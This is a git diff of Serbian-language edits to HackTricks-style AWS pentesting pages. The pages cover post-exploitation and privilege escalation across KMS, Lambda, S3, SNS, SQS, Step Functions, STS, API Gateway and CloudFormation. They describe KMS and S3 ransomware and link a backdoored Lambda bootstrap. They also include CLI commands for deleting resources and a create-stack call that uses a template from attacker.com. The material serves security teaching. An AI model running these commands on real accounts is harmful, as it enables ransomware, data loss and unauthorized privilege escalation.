Napadač sa privilegovanim pristupom KMS-u može da izmeni KMS politiku ključeva i **dodeli svom nalogu pristup tim ključevima**, uklanjajući pristup koji je dodeljen legitimnom nalogu.
-Tada korisnici legitimnog naloga neće moći da pristupe bilo kojim informacijama bilo koje usluge koja je enkriptovana tim ključevima, stvarajući lak ali efikasan ransomware nad nalogom.
+Tada korisnici legitimnog naloga neće moći da pristupe bilo kojim informacijama bilo koje usluge koja je enkriptovana tim ključevima, stvarajući jednostavan, ali efikasan ransomware nad nalogom.
> [!WARNING]
> Imajte na umu da **AWS upravljani ključevi nisu pogođeni** ovim napadom, samo **Klijentski upravljani ključevi**.
@@ -92,7 +92,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
}
```
> [!CAUTION]
-> Imajte na umu da ako promenite tu politiku i date pristup samo eksternom nalogu, a zatim iz ovog eksternog naloga pokušate da postavite novu politiku da **ponovo date pristup originalnom nalogu, nećete moći**.
+> Imajte na umu da ako promenite tu politiku i omogućite pristup samo eksternom nalogu, a zatim iz ovog eksternog naloga pokušate da postavite novu politiku da **ponovo omogućite pristup originalnom nalogu, nećete moći**.
@@ -105,7 +105,7 @@ Postoji još jedan način da se izvrši globalni KMS Ransomware, koji bi uključ
- Kreirajte novi **ključ sa ključnim materijalom** koji je uvezen od strane napadača
- **Ponovo enkriptujte starije podatke** enkriptovane prethodnom verzijom sa novom.
- **Obrišite KMS ključ**
-- Sada samo napadač, koji ima originalni ključni materijal, može da dekriptuje enkriptovane podatke
+- Sada samo napadač, koji ima originalni ključni materijal, može dekriptovati enkriptovane podatke
### Uništavanje ključeva
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
index 404d2ddbb..a0125b517 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -6,15 +6,15 @@
-1. **Slicer** je proces van kontejnera koji **šalje** **invokacije** procesu **init**.
-2. Proces init sluša na portu **9001** izlažući neke zanimljive krajnje tačke:
-- **`/2018-06-01/runtime/invocation/next`** – dobijanje sledećeg događaja invokacije
-- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – vraća odgovor handler-a za invokaciju
-- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – vraća grešku u izvršenju
+1. **Slicer** je proces van kontejnera koji **šalje** **invokacije** ka **init** procesu.
+2. Init proces sluša na portu **9001** izlažući neke zanimljive krajnje tačke:
+- **`/2018-06-01/runtime/invocation/next`** – dobiti sledeći događaj invokacije
+- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – vratiti odgovor handler-a za invokaciju
+- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – vratiti grešku u izvršenju
3. **bootstrap.py** ima petlju koja dobija invokacije iz init procesa i poziva korisnički kod da ih obradi (**`/next`**).
4. Na kraju, **bootstrap.py** šalje init-u **odgovor**
-Napomena da bootstrap učitava korisnički kod kao modul, tako da se svaka izvršena kodna operacija od strane korisničkog koda zapravo dešava u ovom procesu.
+Napomena da bootstrap učitava korisnički kod kao modul, tako da se svako izvršavanje koda koje obavlja korisnički kod zapravo dešava u ovom procesu.
## Ukradanje Lambda Zahteva
@@ -35,7 +35,7 @@ Ovo je jednostavan zadatak za postizanje jer se kod korisnika izvršava od stran
2. Generisati **zlonamerni** **bootstrap** (npr. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
3. **Izvršiti** zlonamerni bootstrap.
-Možete lako izvršiti ove akcije pokretanjem:
+Možete lako izvršiti ove radnje pokretanjem:
```bash
python3 < --
```
### `rds:DownloadDBLogFilePortion`
-Napadač sa `rds:DownloadDBLogFilePortion` dozvolom može **preuzeti delove log fajlova RDS instance**. Ako su osetljivi podaci ili akreditivi za pristup slučajno zabeleženi, napadač bi mogao potencijalno iskoristiti ove informacije za eskalaciju svojih privilegija ili izvršavanje neovlašćenih radnji.
+Napadač sa `rds:DownloadDBLogFilePortion` dozvolom može **preuzeti delove log fajlova RDS instance**. Ako su osetljivi podaci ili pristupne kredencijale slučajno zabeleženi, napadač bi mogao potencijalno iskoristiti te informacije za eskalaciju svojih privilegija ili izvršavanje neovlašćenih radnji.
```bash
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
index 56a8fe15b..ffb9cab15 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
@@ -12,22 +12,22 @@ Za više informacija proverite:
### Osetljive Informacije
-Ponekad ćete moći da pronađete osetljive informacije u čitljivim u kanticama. Na primer, terraform state tajne.
+Ponekad ćete moći da pronađete osetljive informacije u čitljivim u bucket-ima. Na primer, terraform state tajne.
### Pivotiranje
Različite platforme mogu koristiti S3 za skladištenje osetljivih sredstava.\
-Na primer, **airflow** može skladištiti **DAGs** **kod** tamo, ili se **web stranice** mogu direktno servirati iz S3. Napadač sa dozvolama za pisanje može **modifikovati kod** iz kante da **pivotira** na druge platforme, ili **preuzeti naloge** modifikovanjem JS datoteka.
+Na primer, **airflow** može skladištiti **DAGs** **kod** tamo, ili se **web stranice** mogu direktno servirati iz S3. Napadač sa pravima pisanja može **modifikovati kod** iz bucket-a da **pivotira** na druge platforme, ili **preuzeti naloge** modifikujući JS datoteke.
### S3 Ransomware
U ovom scenariju, **napadač kreira KMS (Key Management Service) ključ u svom AWS nalogu** ili drugom kompromitovanom nalogu. Zatim čini ovaj **ključ dostupnim svima na svetu**, omogućavajući bilo kojem AWS korisniku, ulozi ili nalogu da enkriptuje objekte koristeći ovaj ključ. Međutim, objekti se ne mogu dekriptovati.
-Napadač identifikuje ciljnu **S3 kanticu i dobija pristup na nivou pisanja** koristeći različite metode. To može biti zbog loše konfiguracije kante koja je javno izložena ili napadač dobija pristup AWS okruženju. Napadač obično cilja kante koje sadrže osetljive informacije kao što su lične identifikacione informacije (PII), zaštićene zdravstvene informacije (PHI), logove, rezervne kopije i još mnogo toga.
+Napadač identifikuje cilj **S3 bucket i dobija pristup na nivou pisanja** koristeći različite metode. To može biti zbog loše konfiguracije bucket-a koja ga izlaže javno ili napadač dobija pristup AWS okruženju. Napadač obično cilja bucket-e koji sadrže osetljive informacije kao što su lične identifikacione informacije (PII), zaštićene zdravstvene informacije (PHI), logove, backup-e i još mnogo toga.
-Da bi utvrdio da li se kanta može ciljati za ransomware, napadač proverava njenu konfiguraciju. Ovo uključuje verifikaciju da li je **S3 Object Versioning** omogućen i da li je **multi-factor authentication delete (MFA delete) omogućen**. Ako Object Versioning nije omogućen, napadač može nastaviti. Ako je Object Versioning omogućen, ali je MFA delete onemogućen, napadač može **onemogućiti Object Versioning**. Ako su i Object Versioning i MFA delete omogućeni, postaje teže za napadača da ransomware-uje tu specifičnu kantu.
+Da bi utvrdio da li se bucket može ciljati za ransomware, napadač proverava njegovu konfiguraciju. Ovo uključuje verifikaciju da li je **S3 Object Versioning** omogućen i da li je **multi-factor authentication delete (MFA delete) omogućen**. Ako Object Versioning nije omogućen, napadač može nastaviti. Ako je Object Versioning omogućen, ali je MFA delete onemogućen, napadač može **onemogućiti Object Versioning**. Ako su i Object Versioning i MFA delete omogućeni, postaje teže za napadača da ransomware-uje taj specifični bucket.
-Koristeći AWS API, napadač **menja svaki objekat u kanti sa enkriptovanom kopijom koristeći svoj KMS ključ**. Ovo efikasno enkriptuje podatke u kanti, čineći ih nedostupnim bez ključa.
+Koristeći AWS API, napadač **menja svaki objekat u bucket-u sa enkriptovanom kopijom koristeći svoj KMS ključ**. Ovo efikasno enkriptuje podatke u bucket-u, čineći ih nedostupnim bez ključa.
Da bi dodatno pritisnuo, napadač zakazuje brisanje KMS ključa korišćenog u napadu. Ovo daje cilju 7-dnevni period da povrati svoje podatke pre nego što ključ bude obrisan i podaci postanu trajno izgubljeni.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
index b2385d889..aa9cca238 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - Post Eksploatacija Secrets Manager-a
+# AWS - Secrets Manager Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,11 +12,11 @@ Za više informacija pogledajte:
### Čitanje Tajni
-**Tajne same su osetljive informacije**, [proverite stranicu za privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) da biste saznali kako ih pročitati.
+**Tajne su same po sebi osetljive informacije**, [proverite stranicu za privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) da biste saznali kako ih pročitati.
### DoS Promena Vrednosti Tajne
-Promenom vrednosti tajne mogli biste **DoS-ovati ceo sistem koji zavisi od te vrednosti.**
+Menjanjem vrednosti tajne mogli biste **DoS-ovati ceo sistem koji zavisi od te vrednosti.**
> [!WARNING]
> Imajte na umu da su prethodne vrednosti takođe sačuvane, tako da je lako jednostavno se vratiti na prethodnu vrednost.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
index f76e76ec4..51df2c77b 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
@@ -17,7 +17,7 @@ Pošaljite email.
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
```
-Still to test.
+Još uvek za testiranje.
### `ses:SendRawEmail`
@@ -25,7 +25,7 @@ Pošaljite email.
```bash
aws ses send-raw-email --raw-message file://message.json
```
-Still to test.
+Još uvek za testiranje.
### `ses:SendTemplatedEmail`
@@ -33,15 +33,15 @@ Pošaljite email na osnovu šablona.
```bash
aws ses send-templated-email --source --destination --template
```
-Still to test.
+Još uvek za testiranje.
### `ses:SendBulkTemplatedEmail`
-Pošaljite email na više destinacija
+Pošaljite email na više odredišta
```bash
aws ses send-bulk-templated-email --source --template
```
-Still to test.
+Još uvek za testiranje.
### `ses:SendBulkEmail`
@@ -55,8 +55,6 @@ Pošaljite **bounce email** preko primljenog emaila (ukazujući da email nije mo
```bash
aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list
```
-Still to test.
-
### `ses:SendCustomVerificationEmail`
Ovo će poslati prilagođeni verifikacioni email. Možda će vam biti potrebne dozvole i za kreiranje šablona emaila.
@@ -64,6 +62,6 @@ Ovo će poslati prilagođeni verifikacioni email. Možda će vam biti potrebne d
aws ses send-custom-verification-email --email-address --template-name
aws sesv2 send-custom-verification-email --email-address --template-name
```
-Still to test.
+Još uvek za testiranje.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
index 5dd815d85..04095e23d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
@@ -16,7 +16,7 @@ U nekoliko slučajeva, SNS teme se koriste za slanje poruka platformama koje se
### `sns:DeleteTopic`
-Napadač bi mogao obrisati celu SNS temu, uzrokujući gubitak poruka i utičući na aplikacije koje se oslanjaju na temu.
+Napadač bi mogao obrisati celu SNS temu, uzrokujući gubitak poruka i utičući na aplikacije koje se oslanjaju na tu temu.
```bash
aws sns delete-topic --topic-arn
```
@@ -24,7 +24,7 @@ aws sns delete-topic --topic-arn
### `sns:Publish`
-Napadač bi mogao poslati zlonamerne ili neželjene poruke na SNS temu, što bi moglo izazvati oštećenje podataka, pokrenuti nepredviđene radnje ili iscrpiti resurse.
+Napadač bi mogao poslati zlonamerne ili neželjene poruke na SNS temu, što bi moglo izazvati oštećenje podataka, pokretanje nepredviđenih akcija ili iscrpljivanje resursa.
```bash
aws sns publish --topic-arn --message
```
@@ -36,9 +36,9 @@ Napadač bi mogao da izmeni atribute SNS teme, što bi potencijalno moglo uticat
```bash
aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value
```
-**Potencijalni uticaj**: Loše konfiguracije koje dovode do smanjenja performansi, bezbednosnih problema ili smanjene dostupnosti.
+**Potencijalni uticaj**: Loše konfiguracije koje dovode do smanjenja performansi, bezbednosnih problema ili smanjenja dostupnosti.
-### `sns:Subscribe` , `sns:Unsubscribe`
+### `sns:Subscribe`, `sns:Unsubscribe`
Napadač bi mogao da se prijavi ili odjavi sa SNS teme, potencijalno stičući neovlašćen pristup porukama ili ometajući normalno funkcionisanje aplikacija koje se oslanjaju na tu temu.
```bash
@@ -49,14 +49,14 @@ aws sns unsubscribe --subscription-arn
### `sns:AddPermission` , `sns:RemovePermission`
-Napadač bi mogao da dodeli neovlašćenim korisnicima ili servisima pristup SNS temi, ili da opozove dozvole za legitimne korisnike, uzrokujući prekide u normalnom funkcionisanju aplikacija koje se oslanjaju na temu.
+Napadač bi mogao da dodeli neovlašćenim korisnicima ili uslugama pristup SNS temi, ili da opozove dozvole za legitimne korisnike, uzrokujući prekide u normalnom funkcionisanju aplikacija koje se oslanjaju na temu.
```css
aws sns add-permission --topic-arn --label --aws-account-id --action-name
aws sns remove-permission --topic-arn --label
```
-**Potencijalni uticaj**: Neovlašćen pristup temi, izlaganje poruka ili manipulacija temom od strane neovlašćenih korisnika ili usluga, ometanje normalnog funkcionisanja aplikacija koje se oslanjaju na temu.
+**Potencijalni uticaj**: Neovlašćen pristup temi, izlaganje poruka ili manipulacija temom od strane neovlašćenih korisnika ili servisa, ometanje normalnog funkcionisanja aplikacija koje se oslanjaju na temu.
-### `sns:TagResource`, `sns:UntagResource`
+### `sns:TagResource` , `sns:UntagResource`
Napadač bi mogao dodati, izmeniti ili ukloniti oznake sa SNS resursa, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama.
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
index ff4d1880e..c03e6126a 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
@@ -12,16 +12,16 @@ Za više informacija pogledajte:
### `sqs:SendMessage` , `sqs:SendMessageBatch`
-Napadač može poslati zlonamerne ili neželjene poruke u SQS red, što može dovesti do oštećenja podataka, pokretanja nepredviđenih akcija ili iscrpljivanja resursa.
+Napadač bi mogao poslati zlonamerne ili neželjene poruke u SQS red, što bi moglo izazvati oštećenje podataka, pokrenuti neželjene radnje ili iscrpiti resurse.
```bash
aws sqs send-message --queue-url --message-body
aws sqs send-message-batch --queue-url --entries
```
-**Potencijalni uticaj**: Iskorišćavanje ranjivosti, oštećenje podataka, nepredviđene radnje ili iscrpljivanje resursa.
+**Potencijalni uticaj**: Iskorišćavanje ranjivosti, korupcija podataka, nepredviđene radnje ili iscrpljivanje resursa.
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-Napadač bi mogao da primi, obriše ili izmeni vidljivost poruka u SQS redu, uzrokujući gubitak poruka, oštećenje podataka ili prekid usluge za aplikacije koje se oslanjaju na te poruke.
+Napadač bi mogao da primi, obriše ili izmeni vidljivost poruka u SQS redu, uzrokujući gubitak poruka, korupciju podataka ili prekid usluge za aplikacije koje se oslanjaju na te poruke.
```bash
aws sqs receive-message --queue-url
aws sqs delete-message --queue-url --receipt-handle
@@ -47,7 +47,7 @@ Copy codeaws sqs purge-queue --queue-url
### `sqs:SetQueueAttributes`
-Napadač bi mogao da izmeni atribute SQS reda, potencijalno utičući na njegovu performansu, bezbednost ili dostupnost.
+Napadač bi mogao da izmeni atribute SQS reda, što bi potencijalno moglo uticati na njegovu performansu, bezbednost ili dostupnost.
```arduino
aws sqs set-queue-attributes --queue-url --attributes
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
index 7f4ad1a99..b8a4ad5e0 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - Step Functions Post Exploitation
+# AWS - Post Eksploatacija Step Functions
{{#include ../../../banners/hacktricks-training.md}}
@@ -18,13 +18,13 @@ Ova dozvola omogućava **otkrivanje tajnih podataka unutar izvršenja**. Za to j
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
-Napadač sa ovim dozvolama bi mogao trajno da obriše mašine stanja, njihove verzije i alias-e. To može ometati kritične radne tokove, dovesti do gubitka podataka i zahtevati značajno vreme za oporavak i vraćanje pogođenih mašina stanja. Pored toga, to bi omogućilo napadaču da prikrije tragove korišćene, ometa forenzičke istrage i potencijalno osakati operacije uklanjanjem bitnih automatizovanih procesa i konfiguracija stanja.
+Napadač sa ovim dozvolama mogao bi trajno da obriše state mašine, njihove verzije i alias-e. To može ometati kritične radne tokove, dovesti do gubitka podataka i zahtevati značajno vreme za oporavak i vraćanje pogođenih state mašina. Pored toga, to bi omogućilo napadaču da prikrije tragove korišćene, ometa forenzičke istrage i potencijalno osakati operacije uklanjanjem bitnih automatizovanih procesa i konfiguracija stanja.
> [!NOTE]
>
-> - Brisanjem mašine stanja takođe brišete sve njene povezane verzije i alias-e.
-> - Brisanjem alias-a mašine stanja ne brišete verzije mašine stanja koje se odnose na ovaj alias.
-> - Nije moguće obrisati verziju mašine stanja koja je trenutno referencirana od strane jednog ili više alias-a.
+> - Brisanjem state mašine takođe brišete sve njene povezane verzije i alias-e.
+> - Brisanjem alias-a state mašine ne brišete verzije state mašine koje se odnose na ovaj alias.
+> - Nije moguće obrisati verziju state mašine koja je trenutno referencirana od strane jednog ili više alias-a.
```bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn
@@ -33,11 +33,11 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn
```
-- **Potencijalni Uticaj**: Poremećaj kritičnih radnih tokova, gubitak podataka i operativno zastoja.
+- **Potencijalni Uticaj**: Poremećaj kritičnih radnih tokova, gubitak podataka i operativno zastoju.
### `states:UpdateMapRun`
-Napadač sa ovom dozvolom mogao bi da manipuliše konfiguracijom neuspeha Map Run-a i paralelnim podešavanjima, imajući mogućnost da poveća ili smanji maksimalan broj dozvoljenih izvršenja radnih tokova, što direktno utiče na performanse usluge. Pored toga, napadač bi mogao da manipuliše tolerisanim procentom neuspeha i brojem, imajući mogućnost da smanji ovu vrednost na 0, tako da svaki put kada stavka ne uspe, ceo map run bi neuspeo, što direktno utiče na izvršenje mašine stanja i potencijalno ometa kritične radne tokove.
+Napadač sa ovom dozvolom mogao bi da manipuliše konfiguracijom neuspeha Map Run i paralelnim podešavanjima, imajući mogućnost da poveća ili smanji maksimalan broj dozvoljenih izvršenja radnih tokova, što direktno utiče na performanse usluge. Pored toga, napadač bi mogao da manipuliše procentom i brojem tolerisanih neuspeha, imajući mogućnost da smanji ovu vrednost na 0, tako da svaki put kada stavka ne uspe, ceo map run bi neuspeo, što direktno utiče na izvršenje stanja mašine i potencijalno ometa kritične radne tokove.
```bash
aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ]
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
index b0ae1b5a1..7cf1a90b2 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
@@ -50,7 +50,6 @@ resp=$(curl -s "$federation_endpoint" \
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
-
# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
```
@@ -69,7 +68,7 @@ aws_consoler [params...] #This will generate a link to login into the console
#### aws-vault
-[**aws-vault**](https://github.com/99designs/aws-vault) je alat za sigurno čuvanje i pristup AWS akreditivima u razvojnog okruženju.
+[**aws-vault**](https://github.com/99designs/aws-vault) je alat za sigurno čuvanje i pristup AWS akreditivima u razvojnim okruženjima.
```bash
aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
@@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
### **Obilaženje ograničenja User-Agent iz Pythona**
-Ako postoji **ograničenje za izvođenje određenih akcija na osnovu korisničkog agenta** koji se koristi (kao što je ograničavanje korišćenja python boto3 biblioteke na osnovu korisničkog agenta), moguće je koristiti prethodnu tehniku da **povežete se na web konzolu putem pretraživača**, ili možete direktno **modifikovati boto3 korisnički agent** tako što ćete uraditi:
+Ako postoji **ograničenje za izvođenje određenih akcija na osnovu korisničkog agenta** koji se koristi (kao što je ograničavanje korišćenja python boto3 biblioteke na osnovu korisničkog agenta), moguće je koristiti prethodnu tehniku da **se povežete na web konzolu putem pretraživača**, ili možete direktno **modifikovati boto3 korisnički agent** tako što ćete uraditi:
```bash
# Shared by ex16x41
# Create a client
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
index 14923cfc2..9d7ae8cbf 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md
@@ -7,7 +7,7 @@
Način da eskalirate svoje privilegije u AWS-u je da imate dovoljno dozvola da, na neki način, pristupite privilegijama drugih uloga/korisnika/grupa. Povezivanje eskalacija dok ne dobijete administratorski pristup organizaciji.
> [!WARNING]
-> AWS ima **stotine** (ako ne i hiljade) **dozvola** koje entitet može dobiti. U ovoj knjizi možete pronaći **sve dozvole koje znam** koje možete zloupotrebiti da **eskalirate privilegije**, ali ako **znate neki put** koji ovde nije pomenut, **molim vas podelite**.
+> AWS ima **stotine** (ako ne i hiljade) **dozvola** koje entitet može dobiti. U ovoj knjizi možete pronaći **sve dozvole koje znam** koje možete zloupotrebiti da **eskalirate privilegije**, ali ako **znate neki put** koji ovde nije pomenut, **molim vas podelite ga**.
> [!CAUTION]
> Ako IAM politika ima `"Effect": "Allow"` i `"NotAction": "Someaction"` koja ukazuje na **resurs**... to znači da **dozvoljeni subjekt** ima **dozvolu da radi BILO ŠTA osim te specificirane akcije**.\
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
index b25bb28a6..90c661da6 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
@@ -12,11 +12,11 @@ Za više informacija pogledajte:
### `apigateway:POST`
-Sa ovom dozvolom možete generisati API ključeve za API-jeve koji su konfigurisani (po regionu).
+Sa ovom dozvolom možete generisati API ključeve za konfigurirane API-je (po regionu).
```bash
aws --region apigateway create-api-key
```
-**Potencijalni uticaj:** Ne možete privesc ovom tehnikom, ali možete dobiti pristup osetljivim informacijama.
+**Potencijalni uticaj:** Ne možete izvršiti eskalaciju privilegija ovom tehnikom, ali možete dobiti pristup osetljivim informacijama.
### `apigateway:GET`
@@ -25,11 +25,11 @@ Sa ovom dozvolom možete dobiti generisane API ključeve API-ja koji su konfigur
aws --region apigateway get-api-keys
aws --region apigateway get-api-key --api-key --include-value
```
-**Potencijalni Uticaj:** Ne možete privesc ovom tehnikom, ali možete dobiti pristup osetljivim informacijama.
+**Potencijalni uticaj:** Ne možete izvršiti privilegiju sa ovom tehnikom, ali možete dobiti pristup osetljivim informacijama.
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
-Sa ovim dozvolama moguće je modifikovati politiku resursa API-ja kako biste sebi omogućili pristup pozivanju i zloupotrebi potencijalnog pristupa koji API gateway može imati (kao što je pozivanje ranjivog lambda).
+Sa ovim dozvolama moguće je izmeniti politiku resursa API-ja kako biste sebi omogućili pristup da ga pozovete i zloupotrebite potencijalni pristup koji API gateway može imati (kao što je pozivanje ranjivog lambda).
```bash
aws apigateway update-rest-api \
--rest-api-id api-id \
@@ -75,14 +75,14 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
```
-**Potencijalni Uticaj**: Obilaženje bezbednosnih provera, neovlašćen pristup API resursima.
+**Potencijalni uticaj**: Obilaženje bezbednosnih provera, neovlašćen pristup API resursima.
### `apigateway:UpdateVpcLink`
> [!NAPOMENA]
> Potrebno testiranje
-Napadač sa dozvolom `apigateway:UpdateVpcLink` može **modifikovati postojeći VPC Link da usmeri na drugi Network Load Balancer, potencijalno preusmeravajući privatni API saobraćaj na neovlašćene ili zlonamerne resurse**.
+Napadač sa dozvolom `apigateway:UpdateVpcLink` može **modifikovati postojeći VPC Link da upućuje na drugi Network Load Balancer, potencijalno preusmeravajući privatni API saobraćaj na neovlašćene ili zlonamerne resurse**.
```bash
bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
index 0a40eb8aa..2d6a19d8f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
@@ -4,7 +4,7 @@
## cloudformation
-Za više informacija o cloudformation pogledajte:
+Za više informacija o cloudformation, proverite:
{{#ref}}
../../aws-services/aws-cloudformation-and-codestar-enum.md
@@ -12,7 +12,7 @@ Za više informacija o cloudformation pogledajte:
### `iam:PassRole`, `cloudformation:CreateStack`
-Napadač sa ovim dozvolama **može eskalirati privilegije** kreiranjem **CloudFormation steka** sa prilagođenim šablonom, hostovanim na njihovom serveru, da **izvrši akcije pod dozvolama određenog uloga:**
+Napadač sa ovim dozvolama **može eskalirati privilegije** kreiranjem **CloudFormation steka** sa prilagođenim šablonom, hostovanim na njihovom serveru, da **izvrši akcije pod dozvolama određenog rola:**
```bash
aws cloudformation create-stack --stack-name \
--template-url http://attacker.com/attackers.template \
@@ -37,23 +37,23 @@ aws cloudformation update-stack \
--capabilities CAPABILITY_IAM \
--region eu-west-1
```
-The `cloudformation:SetStackPolicy` dozvola se može koristiti da **dajte sebi `UpdateStack` dozvolu** nad stekom i izvršite napad.
+Dozvola `cloudformation:SetStackPolicy` može se koristiti da **dajte sebi `UpdateStack` dozvolu** za stog i izvršite napad.
**Potencijalni uticaj:** Privesc na cloudformation servisnu ulogu koja je navedena.
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
-Ako imate ovu dozvolu, ali **nemate `iam:PassRole`**, i dalje možete **ažurirati stekove** koji se koriste i zloupotrebiti **IAM uloge koje su već povezane**. Proverite prethodni odeljak za primer eksploatacije (samo nemojte navoditi nijednu ulogu u ažuriranju).
+Ako imate ovu dozvolu, ali **nemate `iam:PassRole`**, i dalje možete **ažurirati stogove** koji se koriste i zloupotrebiti **IAM uloge koje su već povezane**. Proverite prethodni odeljak za primer eksploatacije (samo nemojte navoditi nijednu ulogu u ažuriranju).
-The `cloudformation:SetStackPolicy` dozvola se može koristiti da **dajte sebi `UpdateStack` dozvolu** nad stekom i izvršite napad.
+Dozvola `cloudformation:SetStackPolicy` može se koristiti da **dajte sebi `UpdateStack` dozvolu** za stog i izvršite napad.
**Potencijalni uticaj:** Privesc na cloudformation servisnu ulogu koja je već povezana.
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
-Napadač sa dozvolama da **prođe ulogu i kreira & izvrši ChangeSet** može **kreirati/ažurirati novi cloudformation stek i zloupotrebiti cloudformation servisne uloge** baš kao sa CreateStack ili UpdateStack.
